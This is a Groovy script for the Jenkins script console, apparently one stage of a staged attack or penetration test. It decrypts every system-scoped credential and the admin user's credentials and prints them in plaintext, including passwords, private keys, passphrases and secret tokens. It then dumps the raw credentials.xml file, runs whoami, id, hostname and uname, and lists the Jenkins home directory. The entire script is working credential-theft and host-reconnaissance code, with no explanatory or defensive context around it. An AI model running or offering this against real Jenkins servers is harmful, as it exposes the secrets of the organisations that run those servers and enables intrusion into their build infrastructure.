import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.plugins.credentials.impl.*
import hudson.util.Secret
import jenkins.model.Jenkins

println "=====L3_1_DECRYPT_CREDENTIALS====="

def dumpCreds(creds, label) {
  println "--- ${label} (${creds.size()} total) ---"
  creds.each { c ->
    println "ENTRY_START"
    println "class: ${c.class.name}"
    println "id: ${c.id}"
    try { println "desc: ${c.description}" } catch(Exception e) {}
    try { println "username: ${c.username}" } catch(Exception e) {}
    try { println "password: ${c.password?.getPlainText()}" } catch(Exception e) {}
    try {
      def pk = c.getPrivateKey()
      if (pk != null && pk.trim().length() > 0) {
        println "privateKey_START"
        println pk
        println "privateKey_END"
      }
    } catch(Exception e) {}
    try { println "passphrase: ${c.passphrase?.getPlainText()}" } catch(Exception e) {}
    try {
      if (c.hasProperty("secret")) {
        def s = c.secret
        if (s != null) println "secret: ${s.getPlainText()}"
      }
    } catch(Exception e) {}
    println "ENTRY_END"
  }
}

def sysCreds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials,
    Jenkins.instance, null, null
)
dumpCreds(sysCreds, "SYSTEM_SCOPED")

def admin = Jenkins.instance.getUser("admin")
def userCreds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardCredentials,
    admin, null, null
)
dumpCreds(userCreds, "USER_SCOPED_ADMIN")

println ""
println "--- credentials.xml raw ---"
try {
  def home = Jenkins.instance.getRootDir().getAbsolutePath()
  def credFile = new File(home, "credentials.xml")
  if (credFile.exists()) {
    println "credxml_START"
    println credFile.text
    println "credxml_END"
  } else {
    println "credentials.xml NOT FOUND at ${credFile.getAbsolutePath()}"
  }
} catch(Exception e) {
  println "credxml_err: ${e.message}"
}

println ""
println "=====HOST_CONTEXT====="
println "whoami: ${"whoami".execute().text.trim()}"
println "id: ${"id".execute().text.trim()}"
println "hostname: ${"hostname".execute().text.trim()}"
println "uname: ${"uname -a".execute().text.trim()}"
println "JENKINS_HOME: ${Jenkins.instance.getRootDir().getAbsolutePath()}"
try {
  def home = Jenkins.instance.getRootDir()
  println "JENKINS_HOME_listing:"
  home.listFiles().each { f ->
    println "  ${f.isDirectory() ? "[D]" : "[F]"} ${f.name} ${f.length()}"
  }
} catch(Exception e) {}

println "=====DONE====="
